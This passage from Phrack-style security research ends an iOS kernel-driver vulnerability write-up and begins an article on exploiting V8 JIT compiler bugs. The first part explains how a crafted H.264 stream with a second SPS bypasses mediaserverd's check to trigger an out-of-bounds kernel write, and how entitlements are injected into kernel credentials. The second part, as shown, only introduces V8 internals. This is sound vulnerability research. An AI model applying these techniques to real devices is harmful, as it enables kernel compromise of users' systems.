surface_buffer_mapping = v85‑>surf_props.surface_buffer_mapping; if ( surface_buffer_mapping )

memset_stub(

(char *)surface_buffer_mapping +

(unsigned int)*(_QWORD *)&v85‑>surf_props.plane_offset[1], 0x80LL, ((dest_surf‑>surf_props.plane_height[0] >> 1) * (*(_QWORD *)&dest_surf‑>surf_props.plane_offset[1] >> 0x20))); }

The data in [0x1] and [0x2] are completely controlled by the user. These are the offsetX and offsetY which we provided in the dictionary and they were forwarded exactly without any check.

It looks like, [0x1] and [0x2] are being used in a calculation that ultimately leads not only to a write of 0x80s with an arbitrary length, but also to control the offset from which the write is done! This makes our primitive much more powerful as we can make our overwrite more accurate.

The values mentioned in [0x3], [0x4] and [0x5] are attributes of the IOSurface in question, so they are usually somewhat controllable. In this particular case, the limitations on these attributes pose no restrictions on the impact of the memset's primitive. While these attributes aren't really within the scope of the paper, for the curious reader, you are welcomed to reverse IOSurface::parse_properties to see what IOSurface expects to receive for creation.

One problem I noticed with kernel tracing though, is that we never get to the memset because of the following condition:

context‑>some_unknown_data‑>unk & 0x30 // [0x6]

The obvious problem we face here is that there are no sources and these are actual offsets in a struct and unfortunately there's no easy deterministic way to know which object we look at. Looking at the assembly code for this line, it is decompiled from the following:

; X19 = context

LDR X8, [X19,#0x448] ; X8 = context‑>some_unknown_data LDRB W8, [X8,#6] ; W8 = unk

AND W8, W8, #0x30 ; unk & 0x30

CBNZ W8, skip_memset ; if (unk & 0x30) goto skip_memset;

Because the offsets weren't so common (0x448, 0x6), it is possible to actually grep the entire driver text section and start trying to find the right reference by grepping. Because this happens pretty often when reversing IOKit drivers (or reversing "large" binaries anyway), I highly recommend automating this process. Imagine how good life would be if you could just grep for "STR *, [*, #0x448]". It's not a oneliner in Python, but for the long run this worths it. For this case however, grepping would be enough:

$ cat d5500 | grep STR | grep 448 | grep ‑v SP 0xfffffff006c30448LSTR D1, [X19,#0xA90] 0xfffffff006c41448LSTRB W13, [X1] 0xfffffff006c44488LSTRH W17, [X13,X15,LSL#1] 0xfffffff006c4481cLSTR W8, [X19,#0x64C] 0xfffffff006c44890LSTRB W9, [X8,#6] 0xfffffff006c448e8LSTR W9, [X8,#4] 0xfffffff006c47448LSTRB W0, [X19,#0x2A0] 0xfffffff006c495ccLSTR X9, [X10,#0x448] ; only option 0xfffffff006c50448LSTR W24, [X22,#0x17BC]

For brevity, I'll sum this xref looking process for you ‑ it wasn't magical, and I made some tools to speed up the process. Sometimes the offsets are very common and then grepping won't work ‑ for this case sometimes the best way is just manually following the code flow. Going further, I eventually got to this code:

LDR X11, [X19,#0x1B0]

LDRH W11, [X11,#0x24]

LDR X12, [X19,#0x28]

LDRH W13, [X12,#6]

MOV W14, #0xFFCF

AND W13, W13, W14

BFI W13, W11, #4, #2

STRH W13, [X12,#6] ; This is the "unk" we were looking for.

I then looked for 0x1B0, which was responsible for this entire calculation, and then I saw the following string:

"CH264Decoder::DecodeStream error h264fw_SetPpsAndSps"

In the same function, I found another interesting string:

"AVC_Decoder::ParseHeader unsupported naluLengthSize"

‑‑[ 8 ‑ H.264 in general and in iOS

I googled then "AVC nalu" and the first result I got was "Introduction to H.264: (1) NAL Unit" [6].

I figured, it might be easier to understand a little bit more about H.264 (as I had 0 experience with that before this research). The standard of H.264 can be found at [7].

The relevant page for NAL unit is section 7.3.1, "NAL unit syntax". As we can see from the copy, each NAL unit has a type and is being processed according to its type ("nal_unit_type"). From all of the different NAL unit types, there are 3 which are necessary to know:

*) SPS (sequence parameter set): General properties for a coded video sequence. An example of a property which is held by SPS is the "level_idc" which is a specified set of constraints that indicate a required decoder performance.

*) PPS (picture parameter set): General properties for a coded picture sequence. An example of a property that PPS contains is "deblocking_filter_control_present_flag" ‑ flags related to the deblocking filter ‑ a video filter which helps smoothing edges between macroblocks in the video. Macroblocks are like blocks of pixels (a very rough description, but good enough for our case).

*) IDR (Instanteous decoding refresh): This is a standalone frame, a complete picture which doesn't need other pictures to be displayed. IDR is always the first NAL in a video sequence (because it's standalone and other frames depend on it).

The question is ‑ how to find the appropriate type in the kernel and the code that processes each NAL unit according to its type? I started searching for NAL unit type strings in the kernel (SPS, IDR, PPS, etc), and found the following piece of code:

LDP W9, W8, [X19,#0x18]

CBNZ W9, parse_nal_by_type ; [0xA]

CMP W8, #5

B.EQ idr_type_and_no_idc_ref

parse_nal_by_type

SUB W9, W8, #1 ; switch 12 cases

CMP W9, #0xB

B.HI def_FFFFFFF006C3A2DC

ADRP X10, #jpt_FFFFFFF006C3A2DC@PAGE

ADD X10, X10, #jpt_FFFFFFF006C3A2DC@PAGEOFF

LDRSW X9, [X10,X9,LSL#2]

ADD X9, X9, X10

BR X9 ; switch jump

idr_type_and_no_idc_ref

ADRP X0, #aZeroNal_ref_id@PAGE ; "zero nal_ref_idc with IDR!" ADD X0, X0, #aZeroNal_ref_id@PAGEOFF

BL kprintf

MOV W0, #0x131

B cleanup

As we can see here, "idr_type_and_no_idc_ref" happens "if [X19+0x18] == 0" (at the [0xA] marker) and if [X19+0x1C]. Checking in the manual, we can see that for NAL type == 5, we get indeed an IDR NAL. Based on this findings, we can assume that [X19+0x18] is nal_ref_idc and that [X19+0x1C] is the type of the NALunit!

Back to our mysterious offset 0x1B0, I started thinking ‑ perhaps it is either PPS or SPS? The string we found earlier is pretty clear that the function is doing something with them. I then decoded a video with the API and using the kernel tracing technique, I looked at the content of 0x1B0 to see if it looks like something which looks like SPS or PPS. Luckily for us ‑ this was indeed the SPS object!

I figured that out because within 0x1B0, All of the values were in fact the values of the SPS object which is described in the standard (section 7.3.2.1.1 [7], I love you too).

By slightly changing the SPS of the video I was tracing, I saw that the changes in 0x1B0 were correlated. In fact, most of the SPS object was stored there in the same order as it appears on the manual :) so this was even easier once I found the function in the kext which filled up the object. This was sufficient to understand the mysterious unk & 0x30 check which means (wait for it):

If SPS‑>chroma_format_idc (section 7.3.2.1.1 [7]) == 0, we get to the memset we were waiting for! At this point, I already had some tools to create and manipulate videos. So creating a video with chroma_format_idc == 0 wasn't a big problem. To send a video for decoding, you first have to call the function CMVideoFormatDescriptionCreateFromH264ParameterSets which creates an object that holds information about the SPS and the PPS of the video. This object is given to mediaserverd to create the session. After the session is created, we get a handle representing the session, and give it to *DecodeFrame which ioctls the driver from mediaserverd (see graph above). I created such a video, sent it to decoding, was waiting for it to crash the device and... nothing happened!

After a brief reversing of mediaserverd, it appears mediaserverd rejects chroma_format_idc == 0!

‑‑[ 9 ‑ mediaserverd didn't read the fucking manual

But...

mediaserverd only gets the SPS information at the beginning in the function CMVideoFormatDescriptionCreateFromH264ParameterSets which is only being called once. According to the manual (haven't seen a single case in practice though, and I've seen plenty of "Snow Monkey in Japan 5k"s during this research), there could be multiple SPS objects there (section 7.4.1.2.1 in [7]). Which is odd, because if mediaserverd only gets the SPS and PPS information once, and rejects them, then how it is supposed to be aware of the other SPS\PPS packets? (*DecodeFrame just passes the packets to the driver without doing any sanity check).

With this in mind, I decided I'd just try creating a video with a normal SPS\PPS properties, then in the middle of the video embed a new IDR, which points to a new PPS, which points to a new PPS with chroma_format_idc == 0, and see if that bypasses the check deployed in mediaserverd.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| SPS |

| chroma_format_idc > 0 | |seq_parameter_set_id = 1|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| PPS |

|seq_parameter_set_id = 1| |pic_parameter_set_id = 1|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| IDR |

|pic_parameter_set_id = 1|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| SPS |

| chroma_format_idc = 0 | |seq_parameter_set_id = 2|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| PPS |

|seq_parameter_set_id = 2| |pic_parameter_set_id = 2|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| IDR |

|pic_parameter_set_id = 2|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The moment the IDR packet with pic_parameter_set_id = 2 was sent, the kernel crashed with the panic we were expecting! Slightly afterwards, iOS 11 was released. And unfortunately ‑ the same PoC code did not crash the kernel...

I diffed the driver code but there wasn't any change. What I did notice however, is that the string "canvasSurfaceID" did not appear in the binary of the driver anymore. I did notice that a bunch of undocumented APIs were introduced then, namely VTTileDecompression* (instead of VTDecompression). I was too lazy analyzing the function with IDA (to be fair, IDA and dyld_shared_cache aren't good friends yet), so I decided to go with a different approach: try attaching debugserver to mediaserverd, and change the given values to IOConnectCallStructMethod, hoping that the kernel crashes if I change it to the same values back in iOS 10.x. Attaching the debugger obviously doesn't work out of the box. I assumed both the driver and the process need the run‑unsigned‑code entitlement, so without even checking why things didn't work, I just injected the entitlement to mediaserverd and to debugserver and tried attaching debugserver again.

The entitlements' dictionary is stored in task‑>bsd_info‑>p_ucred‑>cr_label‑>l_ptr:

struct task {

/* Synchronization/destruction information */

decl_lck_mtx_data(,lock)/* Task's lock */

_Atomic uint32_tref_count;/* Number of references to me */

boolean_tactive; /* Task has not been terminated */

boolean_thalting; /* Task is being halted */

...

/* Task security and audit tokens */

#ifdef MACH_BSD

void *bsd_info; // struct proc

...

};

structproc {

LIST_ENTRY(proc) p_list;/* List of all processes. */

pid_tp_pid;/* Process identifier. (static)*/

void * task;/* corresponding task (static)*/

structproc *p_pptr; /* Pointer to parent process.(LL) */

pid_tp_ppid;/* process's parent pid number */

pid_tp_pgrpid;/* process group id of the process (LL)*/

...

/* substructures: */

kauth_cred_tp_ucred;/* Process owner's identity. (PUCL) */

...

};

struct ucred {

TAILQ_ENTRY(ucred)cr_link;

u_longcr_ref;/* reference count */

struct posix_cred {

/*

* The credential hash depends on everything from this point on * (see kauth_cred_get_hashkey)

*/

uid_tcr_uid;/* effective user id */

uid_tcr_ruid;/* real user id */

uid_tcr_svuid;/* saved user id */

shortcr_ngroups;/* number of groups in advisory list */

gid_tcr_groups[NGROUPS];/* advisory group list */

gid_tcr_rgid;/* real group id */

gid_tcr_svgid;/* saved group id */

uid_tcr_gmuid;/* UID for group membership purposes */

intcr_flags;/* flags on credential */

} cr_posix;

struct label*cr_label;/* MAC label ‑ contains the dictionary */

/*

* NOTE: If anything else (besides the flags)

* added after the label, you must change

* kauth_cred_find().

*/

struct au_session cr_audit;/* user auditing data */

};

struct label {

intl_flags;

union {

void*l_ptr;

long l_long;

}l_perpolicy[MAC_MAX_SLOTS];

};

This time it worked! First, I took an iOS 10.x device, triggered the problematic flow, and put a breakpoint just before the IOConnectCallStructMethod function (which is the actual ioctl to the driver). I knew that this works, so I just copied the entire input buffer to the IOConnectCallStructMethod. I then called the corresponding functions (same API, but changed the VT prefix to VTTile) and set a breakpoint again. Once I reached IOConnectCallStructMethod, I simply overwrote the entire input buffer and replaced it with the input buffer I copied from the iOS 10.x device. The kernel crashed! From there, it was easy to reverse engineer backwards from IOConnectCallStructMethod and see that the 6th parameter given to VTTileDecompressionSessionDecodeTile is simply the X and Y offsets shifted so that they fit in a 64 bit integer (each one of the offsets is a 32 bit integer).

Apple eventually fixed the bug by checking in the kernel for out of bounds before performing the write. They re‑verified the values once again in AppleD5500.kext. If you would like to find the actual code where Apple introduced the checks, you can search up the kernel for the following string as this is now printed when putting bad arguments:

"bad IOSurface* in tile offset check"

After this string there's a series of checks for the attributes of the IOSurface object.

‑‑[ 0xA ‑ Takeaways

*) I've just displayed one vulnerability in an attack vector accessible from within the sandbox. Parsing video and making sure there aren't mistakes isn't that easy, and it's all done from within the kernel! It's obvious that there are more vulnerabilities in this driver, and in other codecs in iOS as well. The attack surface is (sometimes) more important than the vulnerabilities, and I think this is a good example because nowadays it is not _that_ common to find simple buffer overflows.

*) Manuals are super important. Often when reversing drivers, it is easy to fall for looking for patterns (looking for integer overflows, races, appropriate refcounts, etc). Understanding what we actually reverse and not just looking blindly for patterns was the only reason I thought about putting two SPS in the same packet. I didn't try "bypassing" mediaserverd, I just understood that SPS has an ID, and hence it is likely that there can be more than one of them. Maybe it wasn't the reason I found the vulnerability this time, but that happens as well.

*) Infrastructure is super helpful. Sometimes people can get lazy writing tools, but these might be helpful eventually, even if it takes a lot of time writing them (the kernel patching technique was really easy to write, but I did find myself writing a single tool for a few days just to have things easier when researching). It's an investment for the long term, but without the kernel tracing technique I would have probably given up already. I had so many assumptions which were mandatory to verify, and it was very easy thanks to the kernel tracing technique.

‑‑[ 0xB ‑ Final words

I'm not sure how you readers feel about this paper, but from section 7 till the first crash, it took me about a week. I tried to put as much details as I could into that paper, but unfortunately sometimes you either forget or ignore details. While it was time consuming and some experience IS needed for that, I'm trying to show you that it is not impossible to actually find bugs (good, reachable from the sandbox bugs). I highly encourage you to stop mentally masturbating about iOS bugs and just throw a freakin' kernelcache into IDA and just start reversing. It's much easier than it looks! We're still in the era where someone can drag a kernelcache into IDA and have a good bug within 2 weeks. Remember my words, in 5 years we'll miss these days, where we can completely wrap up such a project within a month.

Additionally, I would like to thank Zimperium for letting me doing this research. It is not always easy for a company to simply let a single person to do his own research on the internals of a video decoder driver, hoping that when he says there's something coming up, something actually comes up.

P.S. ‑ I did start working on an exploit, and then more important things had priority over it. Hence some of the attached code might be redundant.

Sincerely yours,

Adam Donenfeld, aka @doadam.

‑‑[ 0xC ‑ References

[1] https://nvd.nist.gov/vuln/detail/CVE‑2018‑4109

[2] https://nvd.nist.gov/vuln/detail/CVE‑2015‑7006

[3] https://developer.apple.com/documentation/iokit

[4] https://github.com/kpwn/yalu102

[5] https://xerub.github.io/ios/kpp/2017/04/13/tick‑tock.html

[6] https://yumichan.net/video‑processing/video‑compression/

introduction‑to‑h264‑nal‑unit/

[7] https://www.itu.int/rec/T‑REC‑H.264

‑‑[ 0xD ‑ Code

begin 664 src.tar.gz M'XL("#8LOUL"`W‑R8RYT87(`[%Q[=]LVLL^_TJ=`FG,:*W7T\"O)=;>M(LNend

Exploiting Logic Bugs in JavaScript JIT Engines

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x09 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Art of Exploitation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Compile Your Own Type Confusions ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑=[ Exploiting Logic Bugs in JavaScript JIT Engines ]=‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ saelo ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrack@saelo.net ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

0 ‑ Introduction

1 ‑ V8 Overview

1.1 ‑ Values

1.2 ‑ Maps

1.3 ‑ Object Summary

2 ‑ An Introduction to Just‑in‑Time Compilation for JavaScript 2.1 ‑ Speculative Just‑in‑Time Compilation

2.2 ‑ Speculation Guards

2.3 ‑ Turbofan

2.4 ‑ Compiler Pipeline

2.5 ‑ A JIT Compilation Example

3 ‑ JIT Compiler Vulnerabilities

3.1 ‑ Redundancy Elimination

3.2 ‑ CVE‑2018‑17463

4 ‑ Exploitation

4.1 ‑ Constructing Type Confusions

4.2 ‑ Gaining Memory Read/Write

4.3 ‑ Reflections

4.4 ‑ Gaining Code Execution

5 ‑ References

6 ‑ Exploit Code

‑‑[ 0 ‑ Introduction

This article strives to give an introduction into just‑in‑time (JIT) compiler vulnerabilities at the example of CVE‑2018‑17463, a bug found through source code review and used as part of the hack2win [1] competition in September 2018. The vulnerability was afterwards patched by Google with commit 52a9e67a477bdb67ca893c25c145ef5191976220 "[turbofan] Fix ObjectCreate's side effect annotation" and the fix was made available to the public on October 16th with the release of Chrome 70.

Source code snippets in this article can also be viewed online in the source code repositories as well as on code search [2]. The exploit was tested on chrome version 69.0.3497.81 (64‑bit), corresponding to v8 version 6.9.427.19.

‑‑[ 1 ‑ V8 Overview

V8 is Google's open source JavaScript engine and is used to power amongst others Chromium‑based web browsers. It is written in C++ and commonly used to execute untrusted JavaScript code. As such it is an interesting piece of software for attackers.

V8 features numerous pieces of documentation, both in the source code and online [3]. Furthermore, v8 has multiple features that facilitate the exploring of its inner workings:

0. A number of builtin functions usable from JavaScript, enabled through the ‑‑enable‑natives‑syntax flag for d8 (v8's JavaScript shell). These e.g. allow the user to inspect an object via %DebugPrint, to trigger garbage collection with %CollectGarbage, or to force JIT compilation of a function through %OptimizeFunctionOnNextCall.

1. Various tracing modes, also enabled through command‑line flags, which cause logging of numerous engine internal events to stdout or a log file. With these, it becomes possible to e.g. trace the behavior of different optimization passes in the JIT compiler.

2. Miscellaneous tools in the tools/ subdirectory such as a visualizer of the JIT IR called turbolizer.

‑‑[ 1.1 ‑ Values

As JavaScript is a dynamically typed language, the engine must store type information with every runtime value. In v8, this is accomplished through a combination of pointer tagging and the use of dedicated type information objects, called Maps.

The different JavaScript value types in v8 are listed in src/objects.h, of which an excerpt is shown below.

// Inheritance hierarchy:

// ‑ Object

// ‑ Smi (immediate small integer)

// ‑ HeapObject (superclass for everything allocated in the heap)

// ‑ JSReceiver (suitable for property access)

// ‑ JSObject

// ‑ Name

// ‑ String

// ‑ HeapNumber

// ‑ Map

// ...

A JavaScript value is then represented as a tagged pointer of static type Object*. On 64‑bit architectures, the following tagging scheme is used:

Smi: [32 bit signed int] [31 bits unused] 0 HeapObject: [64 bit direct pointer] | 01

As such, the pointer tag differentiates between Smis and HeapObjects. All further type information is then stored in a Map instance to which a pointer can be found in every HeapObject at offset 0.

With this pointer tagging scheme, arithmetic or binary operations on Smis can often ignore the tag as the lower 32 bits will be all zeroes. However, dereferencing a HeapObject requires masking off the least significant bit (LSB) first. For that reason, all accesses to data members of a HeapObject have to go through special accessors that take care of clearing the LSB. In fact, Objects in v8 do not have any C++ data members, as access to those would be impossible due to the pointer tag. Instead, the engine stores data members at predefined offsets in an object through mentioned accessor functions. In essence, v8 thus defines the in‑memory layout of Objects itself instead of delegating this to the compiler.

‑‑‑‑[ 1.2 ‑ Maps

The Map is a key data structure in v8, containing information such as

* The dynamic type of the object, i.e. String, Uint8Array, HeapNumber, ... * The size of the object in bytes

* The properties of the object and where they are stored

* The type of the array elements, e.g. unboxed doubles or tagged pointers * The prototype of the object if any

While the property names are usually stored in the Map, the property values are stored with the object itself in one of several possible regions. The Map then provides the exact location of the property value in the respective region.

In general there are three different regions in which property values can be stored: inside the object itself ("inline properties"), in a separate, dynamically sized heap buffer ("out‑of‑line properties"), or, if the property name is an integer index [4], as array elements in a dynamically‑sized heap array. In the first two cases, the Map will store the slot number of the property value while in the last case the slot number is the element index. This can be seen in the following example:

let o1 = {a: 42, b: 43};

let o2 = {a: 1337, b: 1338};

After execution, there will be two JSObjects and one Map in memory:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| map1 |

| |

| property: slot |

| .a : 0 |

| .b : 1 |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

^ ^

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | |

| +‑‑‑‑‑‑+ |

| o1 | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | |

| slot : value | | o2 |

| 0 : 42 | | |

| 1 : 43 | | slot : value |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | 0 : 1337 |

| 1 : 1338 |

+‑‑‑‑‑‑‑‑

As Maps are relatively expensive objects in terms of memory usage, they are shared as much as possible between "similar" objects. This can be seen in the previous example, where both o1 and o2 share the same Map, map1. However, if a third property .c (e.g. with value 1339) is added to o1, then the Map can no longer be shared as o1 and o2 now have different properties. As such, a new Map is created for o1:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑

| | |

| map1 | | map2 |

| | |

| property: slot | | property: slot |

| .a : 0 | | .a : 0 |

| .b : 1 | | .b : 1 |

| | | .c : 2 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑

^

|

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑

| | |

| o2 | | o1 |

| | |

| slot : value | | slot : value |

| 0 : 1337 | | 0 : 1337 |

| 1 : 1338 | | 1 : 1338 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | 2 : 1339 |

+‑‑‑‑‑‑

If later on the same property .c was added to o2 as well, then both objects would again share map2. The way this works efficiently is by keeping track in each Map which new Map an object should be transitioned to if a property of a certain name (and possibly type) is added to it. This data structure is commonly called a transition table.

V8 is, however, also capable of storing the properties as a hash map instead of using the Map and slot mechanism, in which case the property name is directly mapped to the value. This is used in cases when the engine believes that the Map mechanism will induce additional overhead, such as e.g. in the case of singleton objects.

The Map mechanism is also essential for garbage collection: when the collector processes an allocation (a HeapObject), it can immediately retrieve information such as the object's size and whether the object contains any other tagged pointers that need to be scanned by inspecting the Map.

‑‑‑‑[ 1.3 ‑ Object Summary

Consider the following code snippet

let obj = {

x: 0x41,

y: 0x42

};

obj.z = 0x43;

obj[0] = 0x1337;

obj[1] = 0x1338;

After execution in v8, inspecting the memory address of the object shows:

(lldb) x/5gx 0x23ad7c58e0e8

0x23ad7c58e0e8: 0x000023adbcd8c751 0x000023ad7c58e201 0x23ad7c58e0f8: 0x000023ad7c58e229 0x0000004100000000 0x23ad7c58e108: 0x0000004200000000

(lldb) x/3gx 0x23ad7c58e200

0x23ad7c58e200: 0x000023adafb038f9 0x0000000300000000 0x23ad7c58e210: 0x0000004300000000

(lldb) x/6gx 0x23ad7c58e228

0x23ad7c58e228: 0x000023adafb028b9 0x0000001100000000 0x23ad7c58e238: 0x0000133700000000 0x0000133800000000 0x23ad7c58e248: 0x000023adafb02691 0x000023adafb02691 ...

First is the object itself which consists of a pointer to its Map (0x23adbcd8c751), the pointer to its out‑of‑line properties (0x23ad7c58e201), the pointer to its elements (0x23ad7c58e229), and the two inline properties (x and y). Inspecting the out‑of‑line properties pointer shows another object that starts with a Map (which indicates that this is a FixedArray) followed by the size and the property z. The elements array again starts with a pointer to the Map, followed by the capacity, followed by the two elements with index 0 and 1 and 9 further elements set to the magic value "the_hole" (indicating that the backing memory has been overcommitted). As can be seen, all values are stored as tagged pointers. If further objects were created in the same fashion, they would reuse the existing Map.

‑‑[ 2 ‑ An Introduction to Just‑in‑Time Compilation for JavaScript

Modern JavaScript engines typically employ an interpreter and one or multiple just‑in‑time compilers. As a unit of code is executed more frequently, it is moved to higher tiers which are capable of executing the code faster, although their startup time is usually higher as well.

The next section aims to give an intuitive introduction rather than a formal explanation of how JIT compilers for dynamic languages such as JavaScript manage to produce optimized machine code from a script.

‑‑‑‑[ 2.1 ‑ Speculative Just‑in‑Time Compilation

Consider the following two code snippets. How could each of them be compiled to machine code?

// C++

int add(int a, int b) {

return a + b;

}

// JavaScript

function add(a, b) {

return a + b;

}

The answer seems rather clear for the first code snippet. After all, the types of the arguments as well as the ABI, which specifies the registers used for parameters and return values, are known. Further, the instruction set of the target machine is available. As such, compilation to machine code might produce the following x86_64 code:

lea eax, [rdi + rsi]

ret

However, for the JavaScript code, type information is not known. As such, it seems impossible to produce anything better than the generic add operation handler [5], which would only provide a negligible performance boost over the interpreter. As it turns out, dealing with missing type information is a key challenge to overcome for compiling dynamic languages to machine code. This can also be seen by imagining a hypothetical JavaScript dialect which uses static typing, for example:

function add(a: Smi, b: Smi) ‑> Smi {

return a + b;

}

In this case, it is again rather easy to produce machine code:

lea rax, [rdi+rsi]

jo bailout_integer_overflow

ret

This is possible because the lower 32 bits of a Smi will be all zeroes due to the pointer tagging scheme. This assembly code looks very similar to the C++ example, except for the additional overflow check, which is required since JavaScript does not know about integer overflows (in the specification all numbers are IEEE 754 double precision floating point numbers), but CPUs certainly do. As such, in the unlikely event of an integer overflow, the engine would have to transfer execution to a different, more generic execution tier like the interpreter. There it would repeat the failed operation and in this case convert both inputs to floating point numbers prior to adding them together. This mechanism is commonly called bailout and is essential for JIT compilers, as it allows them to produce specialized code which can always fall back to more generic code if an unexpected situation occurs.

Unfortunately, for plain JavaScript the JIT compiler does not have the comfort of static type information. However, as JIT compilation only happens after several executions in a lower tier, such as the interpreter, the JIT compiler can use type information from previous executions. This, in turn, enables speculative optimization: the compiler will assume that a unit of code will be used in a similar way in the future and thus see the same types for e.g. the arguments. It can then produce optimized code like the one shown above assuming that the types will be used in the future.

‑‑‑‑[ 2.2 Speculation Guards

Of course, there is no guarantee that a unit of code will always be used in a similar way. As such, the compiler must verify that all of its type speculations still hold at runtime before executing the optimized code. This is accomplished through a number of lightweight runtime checks, discussed next.

By inspecting feedback from previous executions and the current engine state, the JIT compiler first formulates various speculations such as "this value will always be a Smi", or "this value will always be an object with a specific Map", or even "this Smi addition will never cause an integer overflow". Each of these speculations is then verified to still hold at runtime with a short piece of machine code, called a speculation guard. If the guard fails, it will perform a bailout to a lower execution tier such as the interpreter. Below are two commonly used speculation guards:

; Ensure is Smi

test rdi, 0x1

jnz bailout

; Ensure has expected Map

cmp QWORD PTR [rdi‑0x1], 0x12345601

jne bailout

The first guard, a Smi guard, verifies that some value is a Smi by checking that the pointer tag is zero. The second guard, a Map guard, verifies that a HeapObject in fact has the Map that it is expected to have.

Using speculation guards, dealing with missing type information becomes:

0. Gather type profiles during execution in the interpreter

1. Speculate that the same types will be used in the future

2. Guard those speculations with runtime speculation guards

3. Afterwards, produce optimized code for the previously seen types

In essence, inserting a speculation guard adds a piece of static type information to the code following it.

‑‑‑‑[ 2.3 Turbofan

Even though an internal representation of the user's JavaScript code is already available in the form of bytecode for the interpreter, JIT compilers commonly convert the bytecode to a custom intermediate representation (IR) which is better suited for the various optimizations performed. Turbofan, the JIT compiler inside v8, is no exception. The IR used by turbofan is graph‑based, consisting of operations (nodes) and different types of edges between them, namely

* control‑flow edges, connecting control‑flow operations such as loops and if conditions

* data‑flow edges, connecting input and output values

* effect‑flow edges, which connect effectual operations such that they are scheduled correctly. For example: consider a store to a property followed by a load of the same property. As there is no data‑ or control‑flow dependency between the two operations, effect‑flow is needed to correctly schedule the store before the load.

Further, the turbofan IR supports three different types of operations: JavaScript operations, simplified operations, and machine operations. Machine operations usually resemble a single machine instruction while JS operations resemble a generic bytecode instruction. Simplified operations are somewhere in between. As such, machine operations can directly be translated into machine instructions while the other two types of operations require further conversion steps to lower‑level operations (a process called lowering). For example, the generic property load operations could be lowered to a CheckHeapObject and CheckMaps operation followed by a 8‑byte load from an inline slot of an object.

A comfortable way to study the behavior of the JIT compiler in various scenarios is through v8's turbolizer tool [6]: a small web application that consumes the output produced by the ‑‑trace‑turbo command line flag and renders it as an interactive graph.

‑‑‑‑[ 2.4 Compiler Pipeline

Given the previously described mechanisms, a typical JavaScript JIT compiler pipeline then looks roughly as follows:

0. Graph building and specialization: the bytecode as well as runtime type profiles from the interpreter are consumed and an IR graph, representing the same computations, is constructed. Type profiles are inspected and based on them speculations are formulated, e.g. about which types of values to see for an operation. The speculations are guarded with speculation guards.

1. Optimization: the resulting graph, which now has static type information due to the guards, is optimized much like "classic" ahead‑of‑time (AOT) compilers do. Here an optimization is defined as a transformation of code that is not required for correctness but improves the execution speed or memory footprint of the code. Typical optimizations include loop‑invariant code motion, constant folding, escape analysis, and inlining.

2. Lowering: finally, the resulting graph is lowered to machine code which is then written into an executable memory region. From that point on, invoking the compiled function will result in a transfer of execution to the generated code.

This structure is rather flexible though. For example, lowering could happen in multiple stages, with further optimizations in between them. In addition, register allocation has to be performed at some point, which is, however, also an optimization to some degree.

‑‑‑‑[ 2.5 ‑ A JIT Compilation Example

This chapter is concluded with an example of the following function being JIT compiled by turbofan:

function foo(o) {

return o.b;

}

During parsing, the function would first be compiled to generic bytecode, which can be inspected using the ‑‑print‑bytecode flag for d8. The output is shown below.

Parameter count 2

Frame size 0

12 E> 0 : a0 StackCheck

31 S> 1 : 28 02 00 00 LdaNamedProperty a0, [0], [0] 33 S> 5 : a4 Return

Constant pool (size = 1)

0x1fbc69c24ad9: [FixedArray] in OldSpace

‑ map: 0x1fbc6ec023c1 <Map>

‑ length: 1

0: 0x1fbc69c24301 <String[1]: b>

The function is mainly compiled to two operations: LdaNamedProperty, which loads property .b of the provided argument, and Return, which returns said property. The StackCheck operation at the beginning of the function guards against stack overflows by throwing an exception if the call stack size is exceeded. More information about v8's bytecode format and interpreter can be found online [7].

To trigger JIT compilation, the function has to be invoked several times:

for (let i = 0; i < 100000; i++) {

